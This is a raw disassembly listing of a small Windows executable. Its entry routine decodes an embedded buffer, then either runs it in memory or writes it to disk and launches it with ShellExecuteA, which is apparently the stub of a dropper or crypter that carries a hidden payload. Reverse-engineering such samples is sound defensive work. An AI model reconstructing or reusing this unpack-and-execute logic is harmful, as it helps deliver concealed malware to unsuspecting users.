		and	[eax], bl
		arpl	[eax], ax
		and	ah, bh
		rol	byte ptr [eax],	20h
		jl	short loc_200132D9
		add	[eax], ah
		push	382000C9h
		leave
		add	[eax], ah
		fdivr	st, st
		add	[eax], ah
		lock add fs:[eax+0], ah
		sbb	dl, dh
		add	[eax], ah
		call	near ptr 0BC213426h
		repne add [eax], ah
		dec	esp
		repne add [eax], ah
		mov	al, 26h
		add	[eax], esp
		add	[esi+0], ah
		add	[eax], esp


loc_20013344:				; CODE XREF: CODE:200132E4j
		jz	short loc_2001336D
		add	[eax], esp
		inc	esp
		daa
		add	[eax], esp
		shr	byte ptr [eax+0], 1
		and	[eax-7DFFED8h],	dl
		sub	[ecx], al
		and	al, cl
		sub	[ecx], al
		and	[eax], al
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd offset sub_20013284
; ---------------------------------------------------------------------------

		public start
start:
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		xor	eax, eax


loc_2001336D:				; CODE XREF: CODE:loc_20013344j
		mov	[ebp-14h], eax
		mov	[ebp-18h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-20h], eax
		mov	eax, offset dword_200132AC
		call	sub_20005C4C
		xor	eax, eax
		push	ebp
		push	offset loc_200134B0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp-20h]
		call	sub_200129A0
		mov	eax, [ebp-20h]
		lea	edx, [ebp-1Ch]
		call	sub_20012A88
		mov	eax, [ebp-1Ch]
		lea	edx, [ebp-18h]
		call	sub_2001290C
		mov	eax, [ebp-18h]
		lea	edx, [ebp-14h]
		call	sub_20012CD0
		mov	edx, [ebp-14h]
		mov	eax, offset dword_2001589C
		call	sub_20003FFC
		cmp	ds:dword_2001589C, 0
		jz	loc_20013495
		cmp	ds:byte_200143C0, 0
		jz	short loc_2001341B
		mov	eax, ds:dword_2001589C
		call	sub_20004244
		call	sub_20002668
		mov	ebx, eax
		mov	eax, ds:dword_2001589C
		call	sub_20004244
		push	eax
		mov	eax, offset dword_2001589C
		call	sub_2000449C
		mov	edx, ebx
		pop	ecx
		call	sub_200027FC
		mov	eax, ebx
		call	sub_20012F40
		mov	eax, ebx
		call	sub_20002688
		jmp	short loc_20013495
; ---------------------------------------------------------------------------


loc_2001341B:				; CODE XREF: CODE:200133DBj
		mov	edx, ds:dword_200159EC
		mov	eax, offset dword_200158A0
		call	sub_20002BFC
		mov	edx, 1
		mov	eax, offset dword_200158A0
		call	sub_20002F7C
		call	sub_200027DC
		test	eax, eax
		jnz	short loc_20013495
		push	0
		mov	eax, ds:dword_2001589C
		call	sub_20004244
		push	eax
		mov	eax, offset dword_2001589C
		call	sub_2000449C
		mov	edx, eax
		mov	eax, offset dword_200158A0
		pop	ecx
		call	sub_20002D74
		call	sub_2000275C
		mov	eax, offset dword_200158A0
		call	sub_20002D94
		call	sub_2000275C
		push	0
		push	0
		push	0
		mov	eax, ds:dword_200159EC
		call	sub_20004444
		push	eax
		push	0
		push	0
		call	ShellExecuteA


loc_20013495:				; CODE XREF: CODE:200133CEj
					; CODE:20013419j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200134B7


loc_200134A2:				; CODE XREF: CODE:200134B5j
		lea	eax, [ebp-20h]
		mov	edx, 4
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_200134B0:				; DATA XREF: CODE:20013386o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200134A2
; ---------------------------------------------------------------------------


loc_200134B7:				; CODE XREF: CODE:200134AFj
					; DATA XREF: CODE:2001349Do
		pop	ebx
		call	sub_20003EB8
; ---------------------------------------------------------------------------
		align 200h
CODE		ends

; Section 2. (virtual address 00014000)
; Virtual size			: 000005AC (   1452.)
; Section size in file		: 00000600 (   1536.)
; Offset to raw	data for section: 00012A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 20014000h
dword_20014000	dd 0			; DATA XREF: sub_20003DA0+Ar
					; sub_20003DFC+2w ...
dword_20014004	dd 0			; DATA XREF: sub_200026F8w
					; sub_20003DA0+37r ...
byte_20014008	db 2			; DATA XREF: sub_20002E80+4Er
					; sub_20002F60r ...
		db 8Dh,	40h, 0
dword_2001400C	dd 0			; DATA XREF: sub_20004924r
					; sub_20004924+9r ...
dword_20014010	dd 0			; DATA XREF: DATA:off_200143F0o
dword_20014014	dd 0			; DATA XREF: sub_20004A34r
					; sub_20004A34+9r ...
dword_20014018	dd 0			; DATA XREF: DATA:off_2001458Co
dword_2001401C	dd 0			; DATA XREF: DATA:off_2001450Co
word_20014020	dw 1332h		; DATA XREF: sub_20003394+6r
					; sub_20003394:loc_2000340Cr ...
		dw 0C08Bh
byte_20014024	db 0			; DATA XREF: sub_200037B4r
					; sub_200037D0r ...
		db 8Dh,	40h, 0
byte_20014028	db 0			; DATA XREF: sub_200038A4+52r
					; sub_200038A4:loc_20003931r
		db 8Dh,	40h, 0
byte_2001402C	db 0			; DATA XREF: sub_20003E2C:loc_20003E8Dr
		db 8Dh,	40h, 0
byte_20014030	db 1			; DATA XREF: sub_20002BFC+25r
		db 8Dh,	40h, 0
dword_20014034	dd 0			; DATA XREF: sub_20004F24r
					; sub_20005474r ...
dword_20014038	dd 0			; DATA XREF: sub_20005398+Dr
					; sub_20005398+18w ...
off_2001403C	dd offset sub_20002094	; DATA XREF: sub_20002668+5r
					; sub_200026A8+3Fr
off_20014040	dd offset sub_20002224	; DATA XREF: sub_20002688+5r
					; sub_200026A8+26r ...
off_20014044	dd offset sub_200025A4	; DATA XREF: sub_200026A8+Dr
byte_20014048	db 0			; DATA XREF: sub_20002704+36r
aRsu		db 'клхивохмншьзыйэщчъЮАЦ',0
aFxn@		db 'ДЕ█@',0
dword_20014064	dd 3			; DATA XREF: sub_20002E80+5Ar
		dd 0
		dd 1, 2, 3, 3 dup(0)
; char Caption[]
Caption		db 'Error',0            ; DATA XREF: sub_20003E2C+6Co
		dw 0C08Bh
; char Text[]
Text		db 'Runtime error     at 00000000',0 ; DATA XREF: sub_20003DA0+3o
					; sub_20003E2C+32o ...
		dw 0C08Bh
byte_200140AC	db 30h			; DATA XREF: sub_20003DA0+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
; DWORD	TlsIndex
TlsIndex	dd 0FFFFFFFFh		; DATA XREF: sub_20005BBC+Cr
					; sub_20005BBC+37r ...
dword_200140C0	dd 0			; DATA XREF: sub_20005C40o
					; sub_20005C4C+33o
dword_200140C4	dd 0			; DATA XREF: sub_20005C4C+1Bw
dword_200140C8	dd 0			; DATA XREF: sub_20005C4C+22w
dword_200140CC	dd 0			; DATA XREF: sub_20005C4C+29w
		dd 2 dup(0)
dword_200140D8	dd 0			; DATA XREF: CODE:loc_2000601Do
dword_200140DC	dd 0			; DATA XREF: CODE:2000C0D9o
dword_200140E0	dd 0			; DATA XREF: CODE:2000C0CFo
dword_200140E4	dd 0			; DATA XREF: sub_2000ACA4+1Bw
					; sub_2000ACA4+32r ...
dword_200140E8	dd 0			; DATA XREF: sub_2000ACA4+24w
dword_200140EC	dd 0			; DATA XREF: sub_2000ACA4+2Dw
dword_200140F0	dd 0			; DATA XREF: sub_2000ACA4+44w
					; sub_2000ACA4+4Fw
dword_200140F4	dd 0			; DATA XREF: sub_2000ACA4:loc_2000ACF8o
					; CODE:2000C0C5o
word_200140F8	dw 32h			; DATA XREF: sub_200096E4+1B0r
					; sub_200096E4+1CCr
		dw 0C08Bh
dword_200140FC	dd 1C001Fh, 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh), 1D001Fh
					; DATA XREF: sub_200085CC+24o
					; sub_20008694+FCo
		dd 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh)
dword_2001412C	dd 0			; DATA XREF: sub_20008C00+62r
					; sub_20008C00+336r ...
		dd 7 dup(0)
off_2001414C	dd offset dword_20006D98 ; DATA	XREF: CODE:2000BFECo
					; CODE:2000C133o ...
dword_20014150	dd 0			; DATA XREF: sub_2000B828+1Cw
					; sub_2000B828:loc_2000B849r ...
off_20014154	dd offset dword_2000742C ; DATA	XREF: sub_2000743C+3Cr
					; CODE:2000BFD7o
		dd offset dword_2000742C+0Ch
; DWORD	dwDesiredAccess
dwDesiredAccess	dd 80000000h		; DATA XREF: sub_20007488+3Er
		dd 40000000h, 0C0000000h
; DWORD	dwShareMode
dwShareMode	dd 0			; DATA XREF: sub_20007488+36r
		align 10h
		dd 1, 2, 3
off_2001417C	dd offset off_20006110	; DATA XREF: sub_20007824+43r
					; CODE:2000BF70o
off_20014180	dd offset off_20006118	; DATA XREF: CODE:2000BF64o
tbyte_20014184	dt 1.0e18		; DATA XREF: sub_2000807D+63r
		dw 0C08Bh
flt_20014190	db 0Ah,	0, 0, 0		; DATA XREF: sub_20007D38+23r
					; sub_2000807D+78r ...
word_20014194	dw 133Fh		; DATA XREF: sub_2000827C+25r
		dw 0C08Bh
flt_20014198	dd 8.64e7		; DATA XREF: sub_20008480+Br
dword_2001419C	dd 5265C00h		; DATA XREF: sub_20008480+25r
					; sub_20008480:loc_200084AFr
dword_200141A0	dd 642A2E25h		; DATA XREF: sub_200088A0+26o
off_200141A4	dd offset off_200061E8	; DATA XREF: sub_20009DD8+3Ao
					; CODE:2000BF58o
off_200141A8	dd offset off_200061F0	; DATA XREF: CODE:2000BF4Co
off_200141AC	dd offset off_200061F8	; DATA XREF: CODE:2000BF40o
off_200141B0	dd offset off_20006200	; DATA XREF: CODE:2000BF34o
off_200141B4	dd offset off_20006208	; DATA XREF: CODE:2000BF28o
off_200141B8	dd offset off_20006210	; DATA XREF: CODE:2000BF1Co
off_200141BC	dd offset loc_20006217+1 ; DATA	XREF: CODE:2000BF10o
off_200141C0	dd offset off_20006220	; DATA XREF: CODE:2000BF04o
off_200141C4	dd offset off_20006228	; DATA XREF: CODE:2000BEF8o
off_200141C8	dd offset off_20006230	; DATA XREF: CODE:2000BEECo
off_200141CC	dd offset off_20006238	; DATA XREF: CODE:2000BEE0o
off_200141D0	dd offset off_20006240	; DATA XREF: CODE:2000BED4o
off_200141D4	dd offset off_20006248	; DATA XREF: sub_20009DD8+5Do
					; CODE:2000BEC8o
off_200141D8	dd offset off_20006250	; DATA XREF: CODE:2000BEBCo
off_200141DC	dd offset off_20006258	; DATA XREF: CODE:2000BEB0o
off_200141E0	dd offset off_20006260	; DATA XREF: CODE:2000BEA4o
off_200141E4	dd offset off_20006268	; DATA XREF: CODE:2000BE98o
off_200141E8	dd offset off_20006270	; DATA XREF: CODE:2000BE8Co
off_200141EC	dd offset off_20006278	; DATA XREF: CODE:2000BE80o
off_200141F0	dd offset off_20006280	; DATA XREF: CODE:2000BE74o
off_200141F4	dd offset off_20006288	; DATA XREF: CODE:2000BE68o
off_200141F8	dd offset off_20006290	; DATA XREF: CODE:2000BE5Co
off_200141FC	dd offset off_20006298	; DATA XREF: CODE:2000BE50o
off_20014200	dd offset off_200062A0	; DATA XREF: CODE:2000BE44o
off_20014204	dd offset off_200062A8	; DATA XREF: sub_20009DD8+A9o
					; CODE:2000BE38o
off_20014208	dd offset off_200062B0	; DATA XREF: CODE:2000BE2Co
off_2001420C	dd offset off_200062B8	; DATA XREF: CODE:2000BE20o
off_20014210	dd offset off_200062C0	; DATA XREF: CODE:2000BE14o
off_20014214	dd offset off_200062C8	; DATA XREF: CODE:2000BE08o
off_20014218	dd offset off_200062D0	; DATA XREF: CODE:2000BDFCo
off_2001421C	dd offset off_200062D8	; DATA XREF: CODE:2000BDF0o
off_20014220	dd offset off_200062E0	; DATA XREF: sub_20009DD8+CEo
					; CODE:2000BDE4o
off_20014224	dd offset off_200062E8	; DATA XREF: CODE:2000BDD8o
off_20014228	dd offset off_200062F0	; DATA XREF: CODE:2000BDCCo
off_2001422C	dd offset off_200062F8	; DATA XREF: CODE:2000BDC0o
off_20014230	dd offset off_20006300	; DATA XREF: CODE:2000BDB4o
off_20014234	dd offset off_20006308	; DATA XREF: CODE:2000BDA8o
off_20014238	dd offset off_20006310	; DATA XREF: CODE:2000BD9Co
dword_2001423C	dd 2			; DATA XREF: sub_2000A69C+16r
					; CODE:2000BFC2o
dword_20014240	dd 0			; DATA XREF: sub_2000A69C+24r
					; CODE:2000BD90o
		dd 3
dword_20014248	dd 0			; DATA XREF: CODE:2000BD88o
		dd 4
dword_20014250	dd 0			; DATA XREF: CODE:2000BD80o
		dd 5
dword_20014258	dd 0			; DATA XREF: CODE:2000BD78o
dword_2001425C	dd 64h			; DATA XREF: sub_2000A71C+2Ao
					; sub_2000A8E0+Fr ...
dword_20014260	dd 0			; DATA XREF: CODE:2000BD70o
		dd 65h
dword_20014268	dd 0			; DATA XREF: CODE:2000BD68o
		dd 6Ah
dword_20014270	dd 0			; DATA XREF: CODE:2000BD60o
off_20014274	dd offset dword_20006624 ; DATA	XREF: CODE:2000BFADo
dword_20014278	dd 0			; DATA XREF: CODE:2000BD58o
		dd offset dword_2000667C
dword_20014280	dd 0			; DATA XREF: CODE:2000BD50o
		dd offset dword_200066D4
dword_20014288	dd 0			; DATA XREF: CODE:2000BD48o
		dd offset dword_20006788
dword_20014290	dd 0			; DATA XREF: CODE:2000BD40o
		dd offset dword_200067E0
dword_20014298	dd 0			; DATA XREF: CODE:2000BD38o
		dd offset dword_20006838
dword_200142A0	dd 0			; DATA XREF: CODE:2000BD30o
		dd offset dword_20006890
dword_200142A8	dd 0			; DATA XREF: CODE:2000BD28o
		dd offset dword_20006944
dword_200142B0	dd 0			; DATA XREF: CODE:2000BD20o
		dd offset dword_200069FC
dword_200142B8	dd 0			; DATA XREF: CODE:2000BD18o
		dd offset dword_20006A5C
dword_200142C0	dd 0			; DATA XREF: CODE:2000BD10o
		dd offset dword_20006B10
dword_200142C8	dd 0			; DATA XREF: CODE:2000BD08o
		dd offset dword_20006AB4
dword_200142D0	dd 0			; DATA XREF: CODE:2000BD00o
		dd offset dword_20006B68
dword_200142D8	dd 0			; DATA XREF: CODE:2000BCF8o
		dd offset dword_20006B68
dword_200142E0	dd 0			; DATA XREF: CODE:2000BCF0o
		dd offset dword_20006B68
dword_200142E8	dd 0			; DATA XREF: CODE:2000BCE8o
		dd offset dword_20006B68
dword_200142F0	dd 0			; DATA XREF: CODE:2000BCE0o
		dd offset dword_20006B68
dword_200142F8	dd 0			; DATA XREF: CODE:2000BCD8o
		dd offset dword_20006B68
dword_20014300	dd 0			; DATA XREF: CODE:2000BCD0o
		dd offset dword_20006BC4
dword_20014308	dd 0			; DATA XREF: CODE:2000BCC8o
		dd offset dword_2000656C
dword_20014310	dd 0			; DATA XREF: CODE:2000BCC0o
		dd offset dword_20006C80
dword_20014318	dd 0			; DATA XREF: CODE:2000BCB8o
		dd offset dword_20006D34
dword_20014320	dd 0			; DATA XREF: CODE:2000BCB0o
dword_20014324	dd 20591EC1h		; DATA XREF: sub_2000B250+Ar
dword_20014328	dd 0			; DATA XREF: sub_2000B808+1o
dword_2001432C	dd 80070057h		; DATA XREF: sub_2000C1F0+3Dr
					; sub_2000C25C+3Dr ...
		dd 0
byte_20014334	db 1			; DATA XREF: sub_2000DD44:loc_2000DDDDr
					; sub_2000E46C:loc_2000E506r
		db 8Dh,	40h, 0
dword_20014338	dd 0			; DATA XREF: sub_2000DD44+B1r
					; sub_2000E46C+B2r ...
byte_2001433C	db 0			; DATA XREF: sub_2000DACC+43r
		db 8Dh,	40h, 0
dword_20014340	dd 0FFFFFFFFh		; DATA XREF: sub_2000ED08+36r
					; sub_2000EE80+3Er ...
off_20014344	dd offset aEmpty	; DATA XREF: sub_2000EB50+38r
					; CODE:2000F09Co
					; "Empty"
		dd offset dword_2000EA00+8
		dd offset dword_2000EA10+8
		dd offset dword_2000EA24+8
		dd offset dword_2000EA24+18h
		dd offset dword_2000EA24+28h
		dd offset dword_2000EA24+38h
		dd offset dword_2000EA68+8
		dd offset dword_2000EA78+8
		dd offset dword_2000EA78+18h
		dd offset dword_2000EA9C+8
		dd offset dword_2000EA9C+18h
		dd offset dword_2000EA9C+28h
		dd offset dword_2000EA9C+38h
		dd offset dword_2000EA9C+48h
		dd offset dword_2000EA9C+58h
		dd offset dword_2000EA9C+64h
		dd offset dword_2000EB0C+8
		dd offset dword_2000EB1C+8
		dd offset dword_2000EB2C+8
		dd offset dword_2000EB40+8
dword_20014398	dd 1000100h, 2 dup(10100h), 10000h, 0C08B0101h ; DATA XREF: sub_2000EE0C+23o
off_200143AC	dd offset aFalse_0	; DATA XREF: CODE:2000F26Fo
					; "False"
		dd offset dword_2000F230+8
off_200143B4	dd offset dword_2000F248 ; DATA	XREF: CODE:2000F265o
dword_200143B8	dd 0			; DATA XREF: CODE:20012673o
byte_200143BC	db 0			; DATA XREF: sub_20012A88+BEw
		db 8Dh,	40h, 0
byte_200143C0	db 0			; DATA XREF: sub_20012A88+8Ew
					; CODE:200133D4r
		db 8Dh,	40h, 0
off_200143C4	dd offset off_20006200	; DATA XREF: CODE:2000BF38o
off_200143C8	dd offset off_20006120	; DATA XREF: CODE:2000BCECo
					; sub_2000D418+16r
off_200143CC	dd offset off_2000F1A0	; DATA XREF: sub_20011AF8+F7r
off_200143D0	dd offset off_20006168	; DATA XREF: sub_2000CFA4+56r
off_200143D4	dd offset off_20006068	; DATA XREF: CODE:2000BD84o
off_200143D8	dd offset off_20006250	; DATA XREF: CODE:2000BEC0o
off_200143DC	dd offset off_20006290	; DATA XREF: CODE:2000BE60o
off_200143E0	dd offset off_200062F8	; DATA XREF: CODE:2000BDC4o
off_200143E4	dd offset off_20006220	; DATA XREF: CODE:2000BF08o
off_200143E8	dd offset dword_20015028 ; DATA	XREF: sub_2000ABA0+79r
off_200143EC	dd offset off_200061A0	; DATA XREF: sub_2000AAC4+73r
					; CODE:2000BCC4o
off_200143F0	dd offset dword_20014010 ; DATA	XREF: CODE:2000F136r
off_200143F4	dd offset off_20006308	; DATA XREF: CODE:2000BDACo
off_200143F8	dd offset dword_20015008 ; DATA	XREF: sub_2000ABA0+2Er
					; sub_2000AC24:loc_2000AC6Ar
off_200143FC	dd offset off_200062E0	; DATA XREF: CODE:2000BDE8o
off_20014400	dd offset off_20006208	; DATA XREF: CODE:2000BF2Co
off_20014404	dd offset off_20006198	; DATA XREF: sub_2000D184+1ADr
off_20014408	dd offset off_20006178	; DATA XREF: sub_2000D184+CCr
off_2001440C	dd offset dword_20015800 ; DATA	XREF: sub_2000DA5C+1Br
off_20014410	dd offset off_20006080	; DATA XREF: CODE:2000BD6Co
off_20014414	dd offset off_200062E8	; DATA XREF: CODE:2000BDDCo
off_20014418	dd offset off_200062C8	; DATA XREF: CODE:2000BE0Co
off_2001441C	dd offset off_200062F0	; DATA XREF: CODE:2000BDD0o
off_20014420	dd offset dword_2001501C ; DATA	XREF: sub_2000ABA0+44r
					; sub_2000AC24+58r
off_20014424	dd offset off_20006050	; DATA XREF: sub_2000A69C+44r
off_20014428	dd offset off_20006108	; DATA XREF: CODE:2000A49Fr
off_2001442C	dd offset off_20006048	; DATA XREF: sub_2000ABA0r
					; sub_2000D184+164r
off_20014430	dd offset off_20006228	; DATA XREF: CODE:2000BEFCo
off_20014434	dd offset off_20006088	; DATA XREF: CODE:2000BD64o
off_20014438	dd offset off_20006110	; DATA XREF: CODE:2000BF74o
off_2001443C	dd offset off_200061C8	; DATA XREF: CODE:loc_2000A848r
off_20014440	dd offset off_20006180	; DATA XREF: CODE:2000BCDCo
					; sub_2000D184+18Ar
off_20014444	dd offset off_2000F190	; DATA XREF: sub_200111E8:loc_20011220r
off_20014448	dd offset off_20006278	; DATA XREF: CODE:2000BE84o
off_2001444C	dd offset dword_20015214 ; DATA	XREF: CODE:2000A43Ar
off_20014450	dd offset off_20006298	; DATA XREF: CODE:2000BE54o
off_20014454	dd offset dword_2001500C ; DATA	XREF: sub_2000ABA0+51r
					; sub_2000AC24+61r
off_20014458	dd offset off_20006258	; DATA XREF: CODE:2000BEB4o
off_2001445C	dd offset dword_20015004 ; DATA	XREF: sub_2000ABA0+39r
					; sub_2000AC24+4Fr
off_20014460	dd offset dword_20015010 ; DATA	XREF: sub_2000ABA0+5Cr
					; sub_2000AC24+6Ar
off_20014464	dd offset off_200062A0	; DATA XREF: CODE:2000BE48o
off_20014468	dd offset off_200060E8	; DATA XREF: CODE:2000BD04o
off_2001446C	dd offset off_200060E0	; DATA XREF: CODE:2000BD1Co
off_20014470	dd offset off_200060F0	; DATA XREF: CODE:2000BD0Co
off_20014474	dd offset off_200062D8	; DATA XREF: CODE:2000BDF4o
off_20014478	dd offset off_20006058	; DATA XREF: CODE:2000BD94o
off_2001447C	dd offset off_200060A0	; DATA XREF: CODE:2000BD4Co
off_20014480	dd offset off_20006118	; DATA XREF: CODE:2000BF68o
off_20014484	dd offset off_20006138	; DATA XREF: CODE:2000BCE4o
					; sub_2000D130+16r
off_20014488	dd offset off_20006160	; DATA XREF: sub_2000D184+1FFr
off_2001448C	dd offset off_20006248	; DATA XREF: CODE:2000BECCo
off_20014490	dd offset off_2000F1D8	; DATA XREF: sub_2001150C+12r
					; sub_200115D8+Fr
off_20014494	dd offset off_2000F1B8	; DATA XREF: sub_200100E8:loc_200100FCr
off_20014498	dd offset off_200061B0	; DATA XREF: CODE:2000BCBCo
off_2001449C	dd offset off_2000F188	; DATA XREF: sub_2001028C+89r
off_200144A0	dd offset off_20006270	; DATA XREF: CODE:2000BE90o
off_200144A4	dd offset off_20006158	; DATA XREF: CODE:2000BCF4o
					; sub_2000D040+16r
off_200144A8	dd offset off_20006260	; DATA XREF: CODE:2000BEA8o
off_200144AC	dd offset off_20006280	; DATA XREF: CODE:2000BE78o
off_200144B0	dd offset dword_20015804 ; DATA	XREF: sub_2000DA94+1Br
off_200144B4	dd offset off_2000F1E0	; DATA XREF: sub_200119B8+1Cr
off_200144B8	dd offset dword_2001400C ; DATA	XREF: CODE:2000F129r
off_200144BC	dd offset off_20006150	; DATA XREF: CODE:2000BCFCo
					; sub_2000CF50+16r
off_200144C0	dd offset off_200061F0	; DATA XREF: CODE:2000BF50o
off_200144C4	dd offset off_20006230	; DATA XREF: CODE:2000BEF0o
off_200144C8	dd offset off_200062C0	; DATA XREF: CODE:2000BE18o
off_200144CC	dd offset off_2000F1B0	; DATA XREF: sub_200100AC:loc_200100BFr
off_200144D0	dd offset off_20006078	; DATA XREF: CODE:2000BD74o
off_200144D4	dd offset off_200060B8	; DATA XREF: CODE:2000BD34o
off_200144D8	dd offset off_20006190	; DATA XREF: sub_2000D184+13Er
off_200144DC	dd offset off_20006268	; DATA XREF: CODE:2000BE9Co
off_200144E0	dd offset off_200060C8	; DATA XREF: sub_2000ABA0+17r
off_200144E4	dd offset off_200062D0	; DATA XREF: CODE:2000BE00o
off_200144E8	dd offset off_200060C0	; DATA XREF: CODE:2000BD2Co
off_200144EC	dd offset off_2000F1A8	; DATA XREF: sub_20011DC8r
off_200144F0	dd offset off_200062A8	; DATA XREF: CODE:2000BE3Co
off_200144F4	dd offset dword_20015020 ; DATA	XREF: sub_2000ABA0+6Cr
					; sub_2000AC24+73r
off_200144F8	dd offset off_200061B8	; DATA XREF: CODE:2000BCB4o
off_200144FC	dd offset off_20006170	; DATA XREF: sub_2000D094+56r
off_20014500	dd offset dword_20014014 ; DATA	XREF: CODE:2000F143r
off_20014504	dd offset off_20006130	; DATA XREF: sub_2000A8F8+54r
off_20014508	dd offset off_200060D8	; DATA XREF: sub_2000A8F8+16Cr
off_2001450C	dd offset dword_2001401C ; DATA	XREF: CODE:2000F15Dr
off_20014510	dd offset off_20006300	; DATA XREF: CODE:2000BDB8o
off_20014514	dd offset loc_200061D7+1 ; DATA	XREF: sub_2000B75C+46r
off_20014518	dd offset off_20006070	; DATA XREF: CODE:2000BD7Co
off_2001451C	dd offset off_200061A8	; DATA XREF: sub_2000A770+38r
					; CODE:2000BCCCo
off_20014520	dd offset off_20006288	; DATA XREF: CODE:2000BE6Co
off_20014524	dd offset off_200062B0	; DATA XREF: CODE:2000BE30o
off_20014528	dd offset byte_20015044	; DATA XREF: CODE:2000A430r
off_2001452C	dd offset off_200062B8	; DATA XREF: CODE:2000BE24o
off_20014530	dd offset off_20006140	; DATA XREF: CODE:2000BCD4o
					; sub_2000D184+F2r
off_20014534	dd offset dword_20015808 ; DATA	XREF: sub_2000DACC+2Dr
off_20014538	dd offset off_2000F1C0	; DATA XREF: sub_2000FF60:loc_2000FF70r
					; sub_20010050:loc_2001005Fr ...
off_2001453C	dd offset loc_200061CF+1 ; DATA	XREF: sub_2000A8F8+110r
off_20014540	dd offset byte_20014008	; DATA XREF: sub_200129A0+41r
off_20014544	dd offset dword_200157B4 ; DATA	XREF: sub_2000DB90+47r
					; sub_2000E288+44r
off_20014548	dd offset loc_20006217+1 ; DATA	XREF: CODE:2000BF14o
off_2001454C	dd offset off_200061C0	; DATA XREF: sub_2000A770+63r
off_20014550	dd offset off_20006238	; DATA XREF: CODE:2000BEE4o
off_20014554	dd offset off_20006310	; DATA XREF: CODE:2000BDA0o
off_20014558	dd offset off_200061F8	; DATA XREF: CODE:2000BF44o
off_2001455C	dd offset off_2000F1C8	; DATA XREF: sub_20011E68+1Br
off_20014560	dd offset off_20006060	; DATA XREF: CODE:2000BD8Co
off_20014564	dd offset off_200060F8	; DATA XREF: CODE:2000BD14o
off_20014568	dd offset off_20006098	; DATA XREF: CODE:2000BD54o
					; sub_20011824:loc_2001184Fr ...
off_2001456C	dd offset off_20006188	; DATA XREF: sub_2000D184+9Cr
off_20014570	dd offset off_20006090	; DATA XREF: CODE:2000BD5Co
off_20014574	dd offset off_20006240	; DATA XREF: CODE:2000BED8o
off_20014578	dd offset off_2001414C	; DATA XREF: sub_2000D184:loc_2000D351r
					; sub_2000EB50+D8r
off_2001457C	dd offset off_200061E0	; DATA XREF: sub_2000B75C:loc_2000B7B8r
off_20014580	dd offset off_200060A8	; DATA XREF: CODE:2000BD44o
off_20014584	dd offset off_2000F1D0	; DATA XREF: sub_20011878+2Fr
off_20014588	dd offset off_200061E8	; DATA XREF: CODE:2000BF5Co
off_2001458C	dd offset dword_20014018 ; DATA	XREF: sub_2000787C+1r
					; sub_2000787C+Cr ...
off_20014590	dd offset off_20006100	; DATA XREF: CODE:2000A372r
off_20014594	dd offset off_200060D0	; DATA XREF: CODE:2000BD24o
off_20014598	dd offset off_20006148	; DATA XREF: sub_2000D184+118r
off_2001459C	dd offset off_200060B0	; DATA XREF: CODE:2000BD3Co
off_200145A0	dd offset off_2000F198	; DATA XREF: sub_20011AF8+92r
off_200145A4	dd offset off_20006128	; DATA XREF: sub_2000A8F8+45r
off_200145A8	dd offset off_20006210	; DATA XREF: CODE:2000BF20o
		align 80h
DATA		ends

; Section 3. (virtual address 00015000)
; Virtual size			: 000009F1 (   2545.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00013000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 20015000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
dword_20015000	dd ?			; DATA XREF: sub_20005AB4+2Fw
dword_20015004	dd ?			; DATA XREF: CODE:20003BE6r
					; DATA:off_2001445Co
dword_20015008	dd ?			; DATA XREF: sub_20002704+9r
					; sub_20002704+16r ...
dword_2001500C	dd ?			; DATA XREF: DATA:off_20014454o
dword_20015010	dd ?			; DATA XREF: sub_200038A4+25r
					; CODE:20003BC4r ...
dword_20015014	dd ?			; DATA XREF: sub_200037B4+14r
					; sub_200037D0+16r ...
dword_20015018	dd ?			; DATA XREF: sub_200038A4+D2r
					; CODE:20003BACr ...
dword_2001501C	dd ?			; DATA XREF: DATA:off_20014420o
dword_20015020	dd ?			; DATA XREF: DATA:off_200144F4o
dword_20015024	dd ?			; DATA XREF: sub_20003EB8+A8r
					; sub_20003EB8+B1r
dword_20015028	dd ?			; DATA XREF: sub_20002988r
					; sub_20002988+9r ...
dword_2001502C	dd ?			; DATA XREF: sub_20003D14+29w
dword_20015030	dd ?			; DATA XREF: sub_20005AB4+CDw
byte_20015034	db ?			; DATA XREF: sub_20003D14+33w
		align 4
dword_20015038	dd ?			; DATA XREF: sub_20005AB4+76w
dword_2001503C	dd ?			; DATA XREF: sub_20005AB4+6Cw
dword_20015040	dd ?			; DATA XREF: sub_20003EB8+Eo
byte_20015044	db ?			; DATA XREF: sub_20003E2C+1r
					; DATA:off_20014528o
byte_20015045	db ?			; DATA XREF: sub_200019A8+1Br
					; sub_200019A8:loc_20001A4Ar ...
byte_20015046	db ?			; DATA XREF: sub_20005AB4+28w
		align 4
dword_20015048	dd ?			; DATA XREF: sub_20002D94:loc_20002DD3o
					; sub_20005A60+19o
word_2001504C	dw ?			; DATA XREF: sub_20005AB4+4Cw
		align 10h
		dd 71h dup(?)
dword_20015214	dd ?			; DATA XREF: sub_20002C64:loc_20002C83o
					; sub_20003E2C+1Eo ...
word_20015218	dw ?			; DATA XREF: sub_20003E2C+Ar
					; sub_20005AB4+55w
		align 10h
dword_20015220	dd ?			; DATA XREF: sub_20003E2C+15r
		align 10h
dword_20015230	dd ?			; DATA XREF: sub_20003E2C+23r
		dd 6Bh dup(?)
dword_200153E0	dd ?			; DATA XREF: CODE:loc_20002B9Do
					; sub_20002C64+26o ...
word_200153E4	dw ?			; DATA XREF: sub_20005AB4+5Ew
		align 4
		dd 71h dup(?)
dword_200155AC	dd ?			; DATA XREF: sub_20001C10w
					; sub_20001FA0+92w ...
